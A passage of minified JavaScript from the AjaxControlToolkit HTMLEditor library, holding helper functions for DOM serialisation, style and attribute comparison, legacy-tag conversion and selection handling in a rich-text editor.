h=AjaxControlToolkit.HTMLEditor.differAttr(a,[]),d=AjaxControlToolkit.HTMLEditor.differStyle(a);if(h.length==0&&d.length==0){f--;e--;while(a.firstChild){a.parentNode.insertBefore(a.firstChild,a);e++}a.parentNode.removeChild(a);continue}}}if(a.parentNode!=j)if(a.childNodes.length==0&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!(a.className.length>0||a.getAttribute(k)&&a.getAttribute(k).length>0)&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){g.removeChild(a);f--;e--;continue}else AjaxControlToolkit.HTMLEditor.spanJoiner(a,s)}}};AjaxControlToolkit.HTMLEditor._styleTags=["strong","em","u","strike","s","span","font","b","sub","sup","a","i"];AjaxControlToolkit.HTMLEditor.isStyleTag=function(b){if(!b)return false;for(var a=0;a<AjaxControlToolkit.HTMLEditor._styleTags.length;a++)if(AjaxControlToolkit.HTMLEditor._styleTags[a].toLowerCase()==b.toLowerCase())return true;return false};AjaxControlToolkit.HTMLEditor.smartClassName="AjaxControlToolkitMSIEparagraph";AjaxControlToolkit.HTMLEditor.noContextMenuAttribute="obout-no-contextmenu";AjaxControlToolkit.HTMLEditor.isTempElement=function(a){if(a.id&&a.id.length>0&&a.id.indexOf(AjaxControlToolkit.HTMLEditor.smartClassName)>=0)return true;return false};AjaxControlToolkit.HTMLEditor.differAttr=function(c,j,h){var d=[],b=c.parentNode;if(typeof h!="undefined")b=h;if(!b||!b.tagName||!AjaxControlToolkit.HTMLEditor.isStyleTag(b.tagName))b=null;if(c.attributes)for(var f=0;f<c.attributes.length;f++){for(var a=c.attributes[f],i=false,g=0;g<j.length;g++)if(a.name.toUpperCase()==j[g].toUpperCase()){i=true;break}if(i)continue;if(a.name.toUpperCase()=="STYLE")continue;if(a.name.toUpperCase().substr(0,4)=="_MOZ")continue;if(a.specified)if(b&&b.attributes&&b.attributes[a.name]){var e=b.attributes[a.name];if(e)(a.name!=e.name||a.value!=e.value)&&d.push([a.name,a.value])}else{if(a.name.toUpperCase()=="CLASS"&&a.value=="")continue;d.push([a.name,a.value])}}return d};AjaxControlToolkit.HTMLEditor.differStyle=function(e,l){var i="length",h="csstext",g="accelerator",f="string",m="undefined",k=[],d=e.parentNode;if(typeof l!=m)d=l;if(!d||!d.tagName||!AjaxControlToolkit.HTMLEditor.isStyleTag(d.tagName))d=null;function j(b,a){a=""+a;if(b.toLowerCase()=="textdecoration")for(var d=a.split(" "),c=0;c<d.length;c++)k.push([b,AjaxControlToolkit.HTMLEditor.Trim(d[c])]);else k.push([b,a])}for(var b in e.style)if(b&&typeof b==f&&b!=g){var a=b;if(!isNaN(parseInt(b))){if(!AjaxControlToolkit.HTMLEditor.isSafari)continue;a=e.style[b]}var c=e.style[a];if(c&&typeof c==f&&c!=g)if(d&&d.style){var n=d.style[a];if(a.toLowerCase()!=h&&a.toLowerCase()!=i)c!=n&&j(a,c)}else a.toLowerCase()!=h&&a.toLowerCase()!=i&&j(a,c)}if(typeof l!=m)for(var b in d.style)if(b&&typeof b==f&&b!=g){var a=b;if(!isNaN(parseInt(b))){if(!AjaxControlToolkit.HTMLEditor.isSafari)continue;a=e.style[b]}var c=d.style[a];if(c&&typeof c==f&&c!=g){var n=e.style[a];if(b.toLowerCase()!=h&&a.toLowerCase()!=i)c!=n&&j(a,c)}}return k};AjaxControlToolkit.HTMLEditor.brXHTML=function(a){return a.replace(/<br>/ig,"<br/>")};AjaxControlToolkit.HTMLEditor._needsClosingTag=function(b){var a=" script style div span a del strong em u strike font b sub sup p iframe li ul ol placeholder textarea td tr ";return a.indexOf(" "+b.tagName.toLowerCase()+" ")!=-1};AjaxControlToolkit.HTMLEditor._encodeText_=function(a){return a.replace(/&/ig,"&amp;").replace(/</ig,"&lt;").replace(/>/ig,"&gt;").replace(/\"/ig,"&quot;").replace(/\xA0/ig,"&nbsp;")};AjaxControlToolkit.HTMLEditor._noNeedsClosingTag=function(b){var a=" hr br ";return a.indexOf(" "+b.tagName.toLowerCase()+" ")!=-1};AjaxControlToolkit.HTMLEditor.canBeInsideP=function(b,e){var d="TABLE";if(b&&b.style&&b.style.display&&b.style.display.toLowerCase()=="inline")return true;var c=b.tagName.toUpperCase();if(c.length==2)if(c.substr(0,1)=="H"&&parseInt(c.substr(1,1))>0)return false;switch(c){case "TBODY":case "TR":case "TD":if(typeof e!="undefined"){var a=b.parentNode;while(a&&a.tagName&&a.tagName.toUpperCase()!=d)a=a.parentNode;if(a.tagName.toUpperCase()==d&&a.style&&a.style.display&&a.style.display.toLowerCase()=="inline")return true}case "P":case "PRE":case d:case "OL":case "UL":case "LI":case "HR":case "DIV":case "BLOCKQUOTE":case "FORM":case "FIELDSET":case "LEGEND":return false;default:return true}};AjaxControlToolkit.HTMLEditor.convertAlign=function(b){var a,c;try{c=parseInt(b)-1}catch(d){return b}switch(c){case 1:a="left";break;case 2:a="right";break;case 3:a="texttop";break;case 4:a="absmiddle";break;case 5:a="baseline";break;case 6:a="absbottom";break;case 7:a="bottom";break;case 8:a="middle";break;case 9:a="top";break;default:a=b.replace(/\"/g,"&quot;")}return a};AjaxControlToolkit.HTMLEditor.getHTML=function(a,b,d){try{if(typeof d=="undefined")if(!b&&a.nodeType==1)return a.innerHTML;else if(b&&a.nodeType==1&&AjaxControlToolkit.HTMLEditor.isIE)return a.outerHTML}catch(e){}var c=new AjaxControlToolkit.HTMLEditor.jsDocument(true);AjaxControlToolkit.HTMLEditor._getHTML_(c,a,b);return c.toString()};AjaxControlToolkit.HTMLEditor._getHTML_=function(c,a,v){var f='"',g="&quot;",e="",j=null,s="embed";switch(a.nodeType){case 1:case 11:if(a.tagName&&a.tagName.indexOf("/")>=0){if(AjaxControlToolkit.HTMLEditor.isIE){var h=a.tagName.toLowerCase().substr(a.tagName.indexOf("/")+1),o=a.previousSibling;if(h==s)return;while(o!=j){if(o.nodeType==a.nodeType&&o.tagName&&o.tagName.toLowerCase()==h){c.append("</teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":"+a.tagName.toLowerCase().substr(a.tagName.indexOf("/")+1)+">");return}o=o.previousSibling}}return}var l,r,i;if(v&&a.tagName.length>0){var h=a.tagName.toLowerCase();l=!(a.hasChildNodes()||AjaxControlToolkit.HTMLEditor._needsClosingTag(a));r=true;var u=e;if(AjaxControlToolkit.HTMLEditor.isIE&&a.scopeName&&typeof a.scopeName!="undefined")u=a.scopeName.toUpperCase()=="HTML"?e:a.scopeName+":";if(AjaxControlToolkit.HTMLEditor.isIE&&(l||h=="placeholder")&&!AjaxControlToolkit.HTMLEditor._noNeedsClosingTag(a)&&h!=s){var n=a.nextSibling;while(n!=j){if(n.nodeType==a.nodeType&&n.tagName){var t=n.tagName;if(t.indexOf("/")>=0)if(t.toLowerCase().substr(t.indexOf("/")+1)==h){l=false;r=false;break}}n=n.nextSibling}}!AjaxControlToolkit.HTMLEditor.canBeInsideP(a)&&c.append("\n");c.append("<"+(!l&&!r?"teo"+AjaxControlToolkit.HTMLEditor.smartClassName+":":u)+h);AjaxControlToolkit.HTMLEditor.isIE&&a.name&&a.name.length>0&&c.append(' name="'+a.name.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.value&&a.value.length>0&&h!="textarea"&&c.append(' value="'+a.value.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.className&&a.className.length>0&&c.append(' class="'+a.className.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.align&&a.align.length>0&&c.append(' align="'+a.align.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.color&&a.color.length>0&&c.append(' color="'+a.color.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.size&&a.size.length>0&&a.size!="+0"&&c.append(' size="'+a.size.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.shape&&a.shape.length>0&&c.write(' shape="'+a.shape.replace(/\"/g,g)+f);AjaxControlToolkit.HTMLEditor.isIE&&a.coords&&a.coords.length>0&&c.write(' coords="'+a.coords.replace(/\"/g,g)+f);var w=a.attributes,q=j;for(i=0;i<w.length;++i){var p=w.item(i);if(!p.specified)continue;var d=p.name.toLowerCase();if(d.substr(0,4)=="_moz")continue;if(d=="teoalign")continue;var b;if(d!="style")if(d=="width"){b=a.width;if(AjaxControlToolkit.HTMLEditor.isIE&&b==0){var k=0;a.outerHTML.replace(new RegExp("^(?:<[^>]*?width=)([\\d]+)","ig"),function(b,a){k=a});if(b!=k)b=k}}else if(d=="height"){b=a.height;if(AjaxControlToolkit.HTMLEditor.isIE&&b==0){var k=0;a.outerHTML.replace(new RegExp("^(?:<[^>]*?height=)([\\d]+)","ig"),function(b,a){k=a});if(b!=k)b=k}}else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="name"&&a.name&&a.name.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="value"&&a.value&&a.value.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="align"&&a.align&&a.align.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="class"&&a.className&&a.className.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="color"&&a.color&&a.color.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="size"&&a.size&&a.size.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="shape"&&a.shape&&a.shape.length>0)continue;else if(AjaxControlToolkit.HTMLEditor.isIE&&d=="coords"&&a.coords&&a.coords.length>0)continue;else if(h==s&&d=="align"&&AjaxControlToolkit.HTMLEditor.isIE)b=AjaxControlToolkit.HTMLEditor.convertAlign(p.value);else{b=p.value;if(AjaxControlToolkit.HTMLEditor.isSafari&&d=="class")if(/apple-style/ig.test(b))continue;if(d=="src"||d=="href"){if(AjaxControlToolkit.HTMLEditor.isIE)b=AjaxControlToolkit.HTMLEditor.getRealAttributeIE(a,d,b);b=b.replace(/(\(S\([A-Za-z0-9_]+\)\)\/)/,e)}b=b.replace(/\"/g,g)}else{if(AjaxControlToolkit.HTMLEditor.isSafari)q=p.value;continue}var m=f;if((e+b+e).indexOf(f)>=0)m="'";d!=j&&c.append(" "+d+"="+m+b+m)}if(a.style.cssText.length>0||q!=j){var d="style",z=/(url\((?:[^\)]*)\))/ig,y=[];function C(b,a){y.push(a)}var b=(q!=j?q:a.style.cssText).toLowerCase();b.replace(z,C);var x=0;function D(){var a=y[x];x++;return a}b=AjaxControlToolkit.HTMLEditor.tryReplaceRgb(b.replace(z,D)).replace(/(font-weight\s*:\s*)(700)/ig,"$1bold").replace(/([\s]*-moz-[^;]*[;][\s]*)/ig,e).replace(/(-moz-.*)$/i,e).replace(/(background-position: 0% 0%[;]*[\s]*)/ig,e);if(AjaxControlToolkit.HTMLEditor.isSafari){function B(d,a,b,c){return a+b.replace(/(,)/g,e)+c}b=b.replace(/(text-decoration:)([^;$]+)([;$])/ig,B)}if(AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera){function A(d,a,b,c){return a+b.replace(/(['"])/g,e)+c}b=b.replace(/(font-family:)([^;]+)([;]*)/ig,A)}if(b.length>0){var m=f;if((e+b+e).indexOf(f)>=0)m="'";c.append(" "+d+"="+m+b+m)}}c.append(l?" />":">");h=="br"&&c.append("\n")}a.tagName&&a.tagName.toUpperCase()=="SCRIPT"&&c.append(a.text);if(a.tagName&&a.tagName.toUpperCase()=="STYLE")c.append(a.innerHTML);else for(i=a.firstChild;i;i=i.nextSibling)AjaxControlToolkit.HTMLEditor._getHTML_(c,i,true);v&&a.tagName.length>0&&!l&&r&&c.append("</"+u+a.tagName.toLowerCase()+">");break;case 3:c.append(AjaxControlToolkit.HTMLEditor._encodeText_(e+a.data+e));break;case 8:if(a.length>0)c.append("<!--"+a.data+"-->");else c.append("<!---->")}};AjaxControlToolkit.HTMLEditor.RemoveContextMenu=function(){var a=this,b=a._contextElement.parentNode.removeChild(a._contextElement);if(b)delete b;a._contextElement=null;a._contextTable=null;if(a.__saved_range__){a.__saved_range__.select();a.__saved_range__=null}};AjaxControlToolkit.HTMLEditor.contentEditable=function(a,f){var e="undefined",b=null;while(a!=b){try{var c=b;if(a.contentEditable!=b&&typeof a.contentEditable!=e&&!(AjaxControlToolkit.HTMLEditor.isSafari||AjaxControlToolkit.HTMLEditor.isOpera))if(!a.contentEditable||a.contentEditable=="false")c=false;else c=true;else{var d=a.getAttribute("contenteditable");if(typeof d=="boolean")c=d;else if(typeof d=="string"&&d.toLowerCase()=="false")c=false}if(c!=b&&typeof c=="boolean")if(!c)return a}catch(g){}if(typeof f!=e&&f)return b;if(a.tagName!=b&&typeof a.tagName!=e&&(a.tagName.toUpperCase()=="BODY"||a.tagName.toUpperCase()=="HTML"))break;a=a.parentNode}return b};AjaxControlToolkit.HTMLEditor.getSelParent=function(c){var d=c._getSelection(),b=c._createRange(d),a=null;if(AjaxControlToolkit.HTMLEditor.isIE)if(d.type.toLowerCase()=="control")a=b.item(0);else a=c._getParent(b);else{a=c._getParent(b);if(a.nodeType!=3&&b.startContainer==b.endContainer){var e=a;a=a.childNodes.item(b.startOffset);if(a==null)a=e}}return a};AjaxControlToolkit.HTMLEditor.__getIndex=function(b){var a=0;if(b.parentNode)for(;a<b.parentNode.childNodes.length;a++)if(b.parentNode.childNodes.item(a)==b)break;return a};AjaxControlToolkit.HTMLEditor.isInlineElement=function(a){var b=false;if(a.nodeType==3)return true;if(a.nodeType!=1)return b;if(!a.tagName||a.tagName.length==0)return b;if(a&&a.style&&a.style.display&&a.style.display.toLowerCase()=="inline")return true;var c=a.tagName.toUpperCase();if(c.length==2)if(c.substr(0,1)=="H"&&parseInt(c.substr(1,1))>0)return b;switch(c){case "BR":case "TBODY":case "TR":case "TD":case "P":case "PRE":case "TABLE":case "OL":case "UL":case "LI":case "HR":case "DIV":case "BLOCKQUOTE":case "FORM":case "FIELDSET":case "LEGEND":return b;default:return true}};AjaxControlToolkit.HTMLEditor.capLock=function(b){var a=b.charCode,c=b.shiftKey?b.shiftKey:a==16?true:false;if(a>=65&&a<=90&&!c||a>=97&&a<=122&&c)return true;else return false};AjaxControlToolkit.HTMLEditor.operateAnchors=function(e,i,k){for(var h=i.getElementsByTagName("A"),j=false,f=0;f<h.length;f++){var a=h[f];if(a.name&&a.name.length>0){for(var d=[],g=0;g<a.childNodes.length;g++){var b=a.childNodes.item(g);if(b.nodeType==1&&b.tagName&&b.tagName.toUpperCase()=="IMG"&&b.src==e._editPanel.get_imagePath_anchor()){d.push(b);j=true}}while(d.length>0)a.removeChild(d.pop());if(!k){var c=i.createElement("IMG");c.title=a.name;c.src=e._editPanel.get_imagePath_anchor();c.setAttribute(e.noContextMenuAttributeName(),"yes");a.appendChild(c)}}}return j};AjaxControlToolkit.HTMLEditor.operatePlaceHolders=function(q,h,r){var n="undefined",m="PLACEHOLDER",l="placeholder",k="dummytag",o=false;if(r){for(var g=h.getElementsByTagName("IMG"),c=[],b=0;b<g.length;b++)c.push(g[b]);for(var b=0;b<c.length;b++){var a=c[b],i=a.getAttribute(k);if(i&&i.length>0&&i.toLowerCase()==l){var j=h.createElement(m),d=a.title;if(d==null||typeof d==n)d=a.getAttribute("title");j.name=d;j.setAttribute("name",d);a.parentNode.insertBefore(j,a);a.parentNode.removeChild(a);o=true}}}else{for(var g=h.getElementsByTagName(m),c=[],b=0;b<g.length;b++)c.push(g[b]);for(var b=0;b<c.length;b++){var a=c[b],p=true;try{if(a.childNodes.length>0)p=false}catch(s){}if(p){var e=a.name;if(e==null||typeof e==n)e=a.getAttribute("name");var f=h.createElement("IMG");f.title=e;f.src=q._editPanel.get_imagePath_placeHolder();f.setAttribute(k,l);f.setAttribute("title",e);a.parentNode.insertBefore(f,a);a.parentNode.removeChild(a)}}}return o};AjaxControlToolkit.HTMLEditor.inspectForShadows=function(e){var d="draggesture",c="dragstart";for(var b=e.getElementsByTagName("IMG"),a=0;a<b.length;a++)if(b[a].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute)&&b[a].getAttribute(AjaxControlToolkit.HTMLEditor.attachedIdAttribute).length>0){try{if(AjaxControlToolkit.HTMLEditor.isIE)$removeHandler(b[a],c,AjaxControlToolkit.HTMLEditor.stopDrag);else $removeHandler(b[a],d,AjaxControlToolkit.HTMLEditor.stopDrag)}catch(f){}if(AjaxControlToolkit.HTMLEditor.isIE)$addHandler(b[a],c,AjaxControlToolkit.HTMLEditor.stopDrag);else $addHandler(b[a],d,AjaxControlToolkit.HTMLEditor.stopDrag)}};AjaxControlToolkit.HTMLEditor.attachedIdAttribute="obout-attached-id";AjaxControlToolkit.HTMLEditor.stopDrag=function(a){a&&a.stopPropagation();a.preventDefault();return false};AjaxControlToolkit.HTMLEditor.replacingRules=[["strong","font-weight","bold"],["b","font-weight","bold"],["strong","font-weight","700"],["em","font-style","italic"],["i","font-style","italic"],["u","text-decoration","underline"],["strike","text-decoration","line-through"]];AjaxControlToolkit.HTMLEditor.replaceOldTags=function(c,h){var f="cssText";for(var k=c.innerHTML,l=false,d=0;d<AjaxControlToolkit.HTMLEditor.replacingRules.length;d++){var n=new RegExp("<"+AjaxControlToolkit.HTMLEditor.replacingRules[d][0]+"[s>]","ig");if(n.test(k)){l=true;break}}if(!l)if(!/<font[\s>]/ig.test(k))return;for(var i=0;i<c.childNodes.length;i++){var a=c.childNodes.item(i);if(a.nodeType==1){for(var e=null,j=a.tagName.toLowerCase(),d=0;d<AjaxControlToolkit.HTMLEditor.replacingRules.length;d++)if(AjaxControlToolkit.HTMLEditor.replacingRules[d][0].toLowerCase()==j){e=AjaxControlToolkit.HTMLEditor.replacingRules[d];break}if(e){var b=h._doc.createElement("SPAN");b.style[f]=a.style[f];if(AjaxControlToolkit.HTMLEditor.isIE)b.style[e[1]]=e[2];else b.style[e[1].replace(/\-(\w)/g,function(b,a){return a.toUpperCase()})]=e[2];while(a.firstChild)b.appendChild(a.firstChild);c.insertBefore(b,a);c.removeChild(a);a=b}else if(j=="font"){var b=h._doc.createElement("SPAN"),m=a.size;b.style[f]=a.style[f];if(a.color)b.style.color=a.color;if(a.face)b.style.fontFamily=a.face;while(a.firstChild)b.appendChild(a.firstChild);c.insertBefore(b,a);c.removeChild(a);if(m){var g=h._doc.createElement("FONT");g.size=m;c.insertBefore(g,b);if(b.style[f].length>0){g.appendChild(b);a=b}else{while(b.firstChild)g.appendChild(b.firstChild);c.removeChild(b);a=g}}else a=b}AjaxControlToolkit.HTMLEditor.replaceOldTags(a,h)}}};AjaxControlToolkit.HTMLEditor.getStyle=function(a,b){var c="";if(a.nodeType==1)if(a.ownerDocument&&a.ownerDocument.defaultView&&a.ownerDocument.defaultView.getComputedStyle)c=a.ownerDocument.defaultView.getComputedStyle(a,"").getPropertyValue(b);else if(a.currentStyle)try{b=b.replace(/\-(\w)/g,function(b,a){return a.toUpperCase()});c=a.currentStyle[b]}catch(d){c=a.style[b]}else c=a.style[b];return c};AjaxControlToolkit.HTMLEditor._Marker=function(c,d,f){var b=this;if(AjaxControlToolkit.HTMLEditor.isIE){b._nArr=AjaxControlToolkit.HTMLEditor.getNames(c._doc.body);b._save=c._doc.body.innerHTML;b._tree=null;if(f.type.toLowerCase()=="control")try{var a=d.item(0);b._tree=[];while(a&&(a.nodeType==3||!a.tagName||a.tagName.toUpperCase()!="BODY")){var e=0;while(a.previousSibling){e++;a=a.previousSibling}b._tree.push(e);a=a.parentNode}}catch(g){}else{b._offsetLeft=d.offsetLeft;b._offsetTop=d.offsetTop}}else{if(AjaxControlToolkit.HTMLEditor.isOpera)b._save=AjaxControlToolkit.HTMLEditor.Trim(c._doc.body.innerHTML);else b._save=c._doc.body.cloneNode(true);b._tree=[];b._offset=0;try{var a=d.startContainer;b._offset=d.startOffset;if(a&&a.nodeType==1&&a.tagName.toUpperCase()=="HTML"){a=c._doc.body;setTimeout(function(){try{f=c._getSelection();d=c._createRange();c._removeAllRanges(f);d.setStart(a,0);d.setEnd(a,0);c._selectRange(f,d)}catch(b){}},0)}while(a&&a.nodeType&&(a.nodeType==3||!a.tagName||a.tagName.toUpperCase()!="BODY")){var e=0;while(a.previousSibling){e++;if(AjaxControlToolkit.HTMLEditor.isOpera)if(a.nodeType==3&&a.previousSibling!=null&&a.previousSibling.nodeType==3)e--;a=a.previousSibling}b._tree.push(e);a=a.parentNode}}catch(g){}}};AjaxControlToolkit.HTMLEditor.__stackMaxSize=30;AjaxControlToolkit.HTMLEditor.getNames=function(i){for(var e=i.all,g=[],h=[],d=0;d<e.length;d++){var a=e[d];if(a.name&&a.name.length>0){for(var b=a.tagName,f=i.getElementsByTagName(b),j=0,c=0;c<f.length;c++)if(f[c]==a){j=c;break}h[b]=j;g.push([b,h[b],a.name])}}return g};AjaxControlToolkit.HTMLEditor.setNames=function(c,b){for(var a=0;a<b.length;a++)if(c.getElementsByTagName(b[a][0]).length>b[a][1])c.getElementsByTagName(b[a][0])[b[a][1]].name=b[a][2]};AjaxControlToolkit.HTMLEditor._lookChild=function(c,d){for(var a=0;a<c.childNodes.length;a++){var b=c.childNodes.item(a);if(b==d)return a;if(b.nodeType==1)if(AjaxControlToolkit.HTMLEditor._lookChild(b,d)>=0)return a}return -1};AjaxControlToolkit.HTMLEditor.getHrefsText=function(d){var a=[];function b(g,e,h,i,j,f){for(var d=e.replace(/^<([^\s>]+)/,"$1"),c=true,b=0;b<a.length;b++)if(a[b][0]==d){c=false;break}if(c)a[b]=[d];a[b].push(f)}var c=new RegExp("(<[^\\s><]+)([^><]*?)(href=)(\"|')([^\\4]*?)(\\4)((?:[^><]*?)>)","ig");d.replace(c,b);return a};AjaxControlToolkit.HTMLEditor.setHrefsText=function(g,d){for(var b=0;b<d.length;b++)for(var c=g.getElementsByTagName(d[b][0]),e=1,a=0;a<c.length;a++){if(!c[a].href)continue;if(d[b][e]&&d[b][e].length>0){var f;if(AjaxControlToolkit.HTMLEditor.isIE)f=c[a].innerHTML;c[a].href=d[b][e].replace(/&amp;/ig,"&");if(AjaxControlToolkit.HTMLEditor.isIE)c[a].innerHTML=f}e++}};AjaxControlToolkit.HTMLEditor.getImagesText=function(c){var a=[];function b(b,d,e,c){a.push(c);return b}c.replace(/(<img(?:.*?))(src=")(.*?)(")((?:.*?)>)/ig,b);return a};AjaxControlToolkit.HTMLEditor.setImagesText=function(e,d){for(var c=e.getElementsByTagName("IMG"),b=0,a=0;a<c.length;a++){if(!c[a].src)continue;if(d[b]&&d[b].length>0)c[a].src=d[b].replace(/&amp;/ig,"&");b++}};AjaxControlToolkit.HTMLEditor.canHaveChildren=function(a){if(AjaxControlToolkit.HTMLEditor.isIE)return a.canHaveChildren;else return !/^(area|base|basefont|col|frame|hr|img|br|input|isindex|link|meta|param)$/.test(a.tagName.toLowerCase())};AjaxControlToolkit.HTMLEditor._setCursor=function(j,a){var c=j;if(AjaxControlToolkit.HTMLEditor.isIE){var e=a._getSelection(),b=a._createRange(e);if(e.type.toLowerCase()=="control"){b.remove(0);e.empty();b=a._createRange()}var g=c.nodeType==3,d;if(g){d=a._doc.createElement("SPAN");d.innerHTML="&nbsp;";c.parentNode.insertBefore(d,c);c=d}var f=$common.getLocation(c),h=f.x,i=f.y;g&&d.parentNode.removeChild(d);try{b.moveToPoint(h,i)}catch(k){}b.select()}else{var e=a._getSelection(),b=a._createRange();b.setStart(c,0);b.setEnd(c,0);a._removeAllRanges(e);a._selectRange(e,b);a.focusEditor()}};AjaxControlToolkit.HTMLEditor.myClone=function(a,e,d){var b;if(AjaxControlToolkit.HTMLEditor.isIE&&a.tagName&&(a.tagName.toUpperCase()=="EMBED"||a.tagName.toUpperCase()=="OBJECT")){var c=e.createElement("DIV");try{c.innerHTML=a.outerHTML;b=c.firstChild}catch(f){b=a}delete c}else b=a.cloneNode(d);return b};AjaxControlToolkit.HTMLEditor.unStyle=function(a){var k="function",f=false,b=null,c=a.parentNode!=b&&typeof a.parentNode!="undefined"?a.parentNode:b;if(c){var d=b;while(c&&c.tagName&&c.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)&&c.tagName.toUpperCase()!="A"){d=c;c=c.parentNode}if(d){function j(g,c,h,i,l){var a=h.cloneNode(f);if(g)if(g.push&&typeof g.push==k)for(var n=0;n<g.length;n++)a.appendChild(g[n]);else a.appendChild(g);if(l)a.appendChild(c);else while(c){var q=i?c.previousSibling:c.nextSibling;if(c.nodeType==1||c.nodeType==3&&AjaxControlToolkit.HTMLEditor.Trim(""+c.data+"").length>0){if(c.nodeType==1)if(c.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)&&c.childNodes.length==0&&!AjaxControlToolkit.HTMLEditor.isTempElement(c))c=b;if(c)if(a.childNodes.length==0||!i)a.appendChild(c);else a.insertBefore(c,a.firstChild)}c=q}if(a.childNodes.length==0){delete a;a=b}else if(a.childNodes.length==1&&a.firstChild.nodeType==3&&(""+a.firstChild.data+"").length==0){delete a;a=b}else if(!l&&a.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){for(var o=a.childNodes.length,m=0;m<a.childNodes.length;m++){var e=a.childNodes.item(m);if(e.nodeType==1&&e.tagName&&!AjaxControlToolkit.HTMLEditor.isStyleTag(e.tagName)&&(e.tagName.toUpperCase()=="BR"||e.tagName.toUpperCase()=="TABLE"||AjaxControlToolkit.HTMLEditor.isTempElement(e)))o--}if(o==0){var p=[];while(a.firstChild){var e=a.removeChild(a.firstChild);p.push(e)}a=p}}if(h==d)return a;else if(!l)return j(a,i?h.previousSibling:h.nextSibling,h.parentNode,i,l);else return j(b,a,h.parentNode,i,l)}c=a.parentNode;if(a.previousSibling==b&&a.nextSibling==b&&c&&c.tagName&&c.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(c.tagName)&&AjaxControlToolkit.HTMLEditor.differAttr(c,["class","color","face","size"]).length>0)a=c;var h=j(b,a.previousSibling,a.parentNode,true,f),i=j(b,a.nextSibling,a.parentNode,f,f),e=d.parentNode;if(h)if(h.push&&typeof h.push==k)for(var g=0;g<h.length;g++)e.insertBefore(h[g],d);else e.insertBefore(h,d);if(a.nodeType==1&&a.tagName&&(a.tagName.toUpperCase()=="BR"||a.tagName.toUpperCase()=="TABLE"||AjaxControlToolkit.HTMLEditor.isTempElement(a)))e.insertBefore(a,d);else{var l=j(b,a,a.parentNode,f,true);e.insertBefore(l,d)}if(i)if(i.push&&typeof i.push==k)for(var g=0;g<i.length;g++)e.insertBefore(i[g],d);else e.insertBefore(i,d);e.removeChild(d)}}};AjaxControlToolkit.HTMLEditor.isTempElement=function(a){if(a.id&&a.id.length>0&&a.id.indexOf(AjaxControlToolkit.HTMLEditor.smartClassName)>=0)return true;return false};AjaxControlToolkit.HTMLEditor._moveTagsUp=function(d,e){function b(a){if(!AjaxControlToolkit.HTMLEditor.isInlineElement(a)||a.nodeType==3)AjaxControlToolkit.HTMLEditor.unStyle(a);else if(a.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){var c=a.firstChild;while(c!=null){var d=c.nextSibling;b(c);c=d}}}var a=d;while(a!=null&&a!=e){var c=a.nextSibling;b(a);a=c}};AjaxControlToolkit.HTMLEditor._commonTotalParent=function(e,g){var h=null,a=e.parentNode,f=e;while(a){if(a.tagName&&!AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)){var d=AjaxControlToolkit.HTMLEditor._lookChild(a,g);if(d>=0){for(var c=0,b=0;b<a.childNodes.length;b++)if(a.childNodes.item(b)==f){c=b;break}return {parent:a,indexFirst:c,indexLast:d}}}f=a;a=a.parentNode}return h};AjaxControlToolkit.HTMLEditor._commonParent=function(e,g){var h=null,a=e.parentNode,f=e;while(a&&a.tagName.toUpperCase()!="BODY"&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)){var d=AjaxControlToolkit.HTMLEditor._lookChild(a,g);if(d>=0){for(var c=0,b=0;b<a.childNodes.length;b++)if(a.childNodes.item(b)==f){c=b;break}return {parent:a,indexFirst:c,indexLast:d}}f=a;a=a.parentNode}return h};AjaxControlToolkit.HTMLEditor.positionInParagraph=function(b,e,c,a,f){while(true){var d=AjaxControlToolkit.HTMLEditor.positionInParagraphLevel(b,e,c,f);if(d!=null)return d;if(a.tagName&&AjaxControlToolkit.HTMLEditor.isStyleTag(a.tagName)&&a.tagName.toUpperCase()!="A"&&!AjaxControlToolkit.HTMLEditor.isTempElement(a)){e=c?a.previousSibling:a.nextSibling;a=a.parentNode}else{if(!c||a.firstChild==null)a.appendChild(b);else a.insertBefore(b,a.firstChild);return b}}};AjaxControlToolkit.HTMLEditor.positionInParagraphLevel=function(c,a,d,g){while(a){var j=d?a.previousSibling:a.nextSibling;if(!AjaxControlToolkit.HTMLEditor.isInlineElement(a)){var e=a.parentNode;if(!d)e.insertBefore(c,a);else if(a.nextSibling)e.insertBefore(c,a.nextSibling);else e.appendChild(c);return c}else if(typeof g=="function"&&a.nodeType==3){var b,f=""+a.data+"";if(d){for(b=f.length-1;b>=0;b--)if(g(f.substr(b,1)))break}else for(b=0;b<f.length;b++)if(g(f.substr(b,1)))break;if(b>=0&&b<f.length){var e=a.parentNode,h;if((b>0||d&&b==0)&&(b<f.length-1||!d&&b==f.length-1)){if(d)h=a.splitText(b+1);else h=a.splitText(b);e.insertBefore(c,h)}else if(!d)e.insertBefore(c,a);else 